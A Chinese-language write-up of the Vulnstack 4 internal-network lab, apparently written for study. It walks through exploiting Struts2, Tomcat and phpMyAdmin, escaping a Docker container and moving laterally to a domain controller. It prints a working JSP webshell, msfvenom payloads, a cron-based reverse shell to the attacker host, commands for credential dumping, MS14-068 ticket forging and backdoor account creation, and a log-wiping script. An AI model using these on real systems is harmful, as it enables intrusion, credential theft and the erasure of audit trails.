Vulnstack內網靶場4


環境

漏洞詳情 (qiyuanxuetang.net)

僅主機模式內網網段192.168.183.0/24

外網網段192.168.157.0/24

其中Ubuntu作為對外的內網機器

 攻擊機kali地址:192.168.157.129  懸劍:192.168.157.130

還需要進入ubuntu開啟服務,密碼ubuntu

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045v
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d

 

 信息收集

nmap -sS 192.168.157.0/24
nmap -sV -A 192.168.157.128

 可以看到2001、2002、2003分別對應jetty、tomcat、apache中間件

從2001端口開始吧

 

Ubuntu Getshell

2001Struts2

web界面是這樣的,標題提示了是struts2的框架

嘗試了一下上傳一句話木馬,上傳成功了但是無路徑回顯無法利用

 直接上struts2掃描工具

 

 看到存在漏洞S2-045、S2-046,查了一下是命令執行漏洞,驗證一下

接着使用wget上傳木馬getshell 

 kali開啟apache服務

service apache2 start 

制作msf木馬,放在var/www/html下

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf

遠程執行命令

wget http://192.168.157.129/shell.elf

 可以看到木馬已經上傳上去

 接着chmod +x shell.elf添加一個執行權限 然后./shell.elf運行就行了

 

2002tomcat

Tomcat 8.5.19版本,查詢了一下,存在CVE-2017-12615任意寫入文件漏洞,漏洞本質是Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false),導致我們可以往服務器寫文件。

抓個包,修改一下數據包改成put,寫入木馬(因為是tomcat,所以用jsp后門)

 

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

蟻劍連接

 

 同樣可以反彈msf shell就不演示了

 

2003phpMyAdmin

連密碼都不用就直接進去了,那就查看一下版本號看看存在什么漏洞

4.8.1遠程文件包含漏洞(CVE-2018-12613)

驗證一下是否存在,接下來就寫入一句話然后文件包含連接

http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

 

但是試了一下就算知道了絕對路徑也無法文件包含數據庫內的一句話,進去ubuntu看了一下也根本沒有這個路徑,十分奇怪

 后來看到網上的poc,還可以使用session包含,測試一下

http://192.168.157.128:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_a87f3b504810883a0db7aa69946f1988

 

 這個原理就是包含緩存文件,接着就寫入一句話

但寫了一句話之后,蟻劍也連接不上,看了一下緩存文件的信息,發現一句話被序列化儲存了,沒辦法利用

絕對路徑也沒法使用,這里只能放棄這個方法getshell了

 

docker逃逸

拿到shell之后首先要做的就是看看是否存在內網,掃描一下是否存在其他網段

但是明明是root用戶ifconfig的命令卻用不了,加上之前phpmyadmin的路徑問題,讓我懷疑我是不是在虛擬機的容器里

果然還是沒有這么簡單,現在要離開這個容器,由於之前沒有接觸過容器,急忙惡補了容器的知識初識Docker逃逸 - FreeBuf網絡安全行業門戶

這里我嘗試采用了目錄掛載逃逸

查看磁盤文件:

fdisk -l

 從返回結果來看sda1、sda2、sda5在/dev目錄下。 

新建一個目錄/test,然后將/dev/sda1掛載到新建的目錄下

mkdir /test
mount /dev/sda1 /test

可以看到現在可以通過訪問docker容器內部掛載整個宿主機本地文件的/test,來實現訪問整個宿主機的目的。

 

 在計划任務里寫入一個bash反彈shell的腳本

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1"  >> /test/tmp/shell.sh
chmod +x /test/tmp/shell.sh
cat /test/tmp/shell.sh

 寫入crontab計划任務,表示每隔兩分鍾以root權限執行一次計划

echo '*/2 * * * * root  bash /tmp/shell.sh' > /test/etc/crontab

cat  /test/etc/crontab查看是否寫入成功

 kali nc監聽

nc -lvp 9999 

 成功!

 

內網穿越

反彈個shell給msf

 

run get_local_subnets
run autoroute -s 192.168.183.0/24
run autoroute -p

添加內網路由

use auxiliary/server/socks_proxy

設置一下代理

打開proxychains4配置端口

vi /etc/proxychains4.conf

現在可以通過proxychains4實現內網訪問

 

內網信息收集

use auxiliary/scanner/smb/smb_version  
set rhosts 192.168.183.0/24 
set threads 100

192.168.183.129 windows7

192.168.183.130 windows 2008

屬於DEMO域

與此同時nmap的掃描也掃出來這兩個ip

proxychains nmap -Pn -sT 192.168.183.0/24 

 端口掃描一些看看具體開放了哪些端口

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.183.129-130

 大概開放了這些,引人注目的就是445端口了,直接掃一下永恆之藍

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.183.129-130

顯示兩個都易受到永恆之藍攻擊

payload要設置為正向

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.129
set payload windows/x64/meterpreter/bind_tcp

win7直接拿下,但是win2008被打的藍屏重啟,不能用

繼續信息收集一下,看看有沒有別的遺漏

亂碼問題輸入chcp 65001

ipconfig
net view /domain
net time /domain
net user /domain 
net group /domain
net group "domain computers" /domain
net group "domain controllers" /domain
net group "domain admins" /domain net group
"Enterprise Admins" /domain

 但是無法進一步收集域內的信息了

 load kiwi看看能不能抓取到密碼

load kiwi
creds_all

 一個域內用戶douser和密碼

 只能通過遠程桌面連接看看能不能收集到什么信息了

 添加一個管理員用戶,准備遠程桌面

net user lry Admin111 /add
net localgroup administrators lry /add

 開啟3389端口

run post/windows/manage/enable_rdp

通過代理連接遠程桌面

proxychains rdesktop 192.168.183.129

 試了一下域內的用戶登陸不上去

 用了剛剛建立的管理員賬戶登陸上去也無濟於事,后來突然意識到msf有個令牌竊取的功能Metasploit用法詳解 - 1_Ry - 博客園 (cnblogs.com)

load incognito
list_tokens -u
impersonate_token DEMO\\douser   \\注意要加兩個斜杠

 現在就可以進行域內的信息收集了

Domain controllers:
WIN-ENS2VR5TR3N

域名:demo.com

域管賬戶:Administrator

橫向移動

 現在獲取了win7的權限,但是2008的密碼抓不到,win7也沒有權限訪問,查找了一下之前的筆記,不需要用到管理員權限的橫向只能試試MS14-068了內網安全:域內橫向移動 - 1_Ry - 博客園 (cnblogs.com)

查看SID

whoami /user

 S-1-5-21-979886063-1111900045-1414766810-1107

 域內用戶douser和密碼Dotest123

本來想上傳上去,但發現里面有ms14-068和mimikatz.exe

使用ms14-068.exe生成票據

ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

清除票據

klist purge  \\清除
klist        \\查看

使用mimikatz導入票據

mimikatz.exe "kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache"

成功,這里dir不能用ip只能用主機名

連接成功后先用sc創建任務把防火牆遠程關掉

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

接下來上傳一個msf正向木馬到win7再到域控

msfvenom -p windows/x64/meterpreter/bind_tcp -f exe > shell.exe

 

創建計划任務的時候顯示權限不足,那就繼續用sc創建任務  

schtasks /create /s 192.168.183.130 /tn test /sc onstart /tr c:\calc.bat /ru system /f

sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe"
sc \\WIN-ENS2VR5TR3N start Startup

正向監聽getshell

 

權限維持

獲取的shell很不穩定,快速收集信息進行權限維持

kiwi獲取密碼

或者

 添加一個域管理員用戶

net user lry Admin111 /add
net group "domain admins" lry /add

 開啟3389端口

run post/windows/manage/enable_rdp

 使用lry管理員登陸了上去

proxychains rdesktop 192.168.183.130 

上傳一個mimikatz到域控

privilege::debug
lsadump::lsa /patch

獲取到域的SID和krbtgt的NTML后就可以制作黃金票據了

 黃金票據、白銀票據 - 1_Ry - 博客園 (cnblogs.com)具體就不制作了,現在只要域管理員不改krbtgt密碼,我們就可以以域內普通用戶的身份訪問域控

 

痕跡清理

 Linux

清除命令歷史記錄

histroy -r          #刪除當前會話歷史記錄

history -c          #刪除內存中的所有命令歷史

rm .bash_history   #刪除歷史文件中的內容

HISTZISE=0          #通過設置歷史命令條數來清除所有歷史記錄

在隱蔽的位置執行命令

使用vim打開文件執行命令

 

:set history=0

:!command

 

linux日志文件

/var/run/utmp 記錄現在登入的用戶

/var/log/wtmp 記錄用戶所有的登入和登出

/var/log/lastlog 記錄每一個用戶最后登入時間

/var/log/btmp 記錄錯誤的登入嘗試

/var/log/auth.log 需要身份確認的操作

/var/log/secure 記錄安全相關的日志信息

/var/log/maillog 記錄郵件相關的日志信息

/var/log/message 記錄系統啟動后的信息和錯誤日志

/var/log/cron 記錄定時任務相關的日志信息

/var/log/spooler 記錄UUCP和news設備相關的日志信息

/var/log/boot.log 記錄守護進程啟動和停止相關的日志消息

完全刪除日志文件:

 

cat /dev/null > filename

: > filename

> filename

echo "" > filename

echo > filename

針對性刪除日志文件:

 

刪除當天日志

sed  -i '/當天日期/'d  filename

 

一鍵清除腳本:

#!/usr/bin/bash

echo > /var/log/syslog

echo > /var/log/messages

echo > /var/log/httpd/access_log

echo > /var/log/httpd/error_log

echo > /var/log/xferlog

echo > /var/log/secure

echo > /var/log/auth.log

echo > /var/log/user.log

echo > /var/log/wtmp

echo > /var/log/lastlog

echo > /var/log/btmp

echo > /var/run/utmp

rm ~/./bash_history

history -c

 

windows

msf

1.查看事件日志

run event_manager -i

2.刪除事件日志

run event_manager -c

3.clearv命令清除目標系統的事件日志。

 4、還需要手動刪除剛剛上傳的后門

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM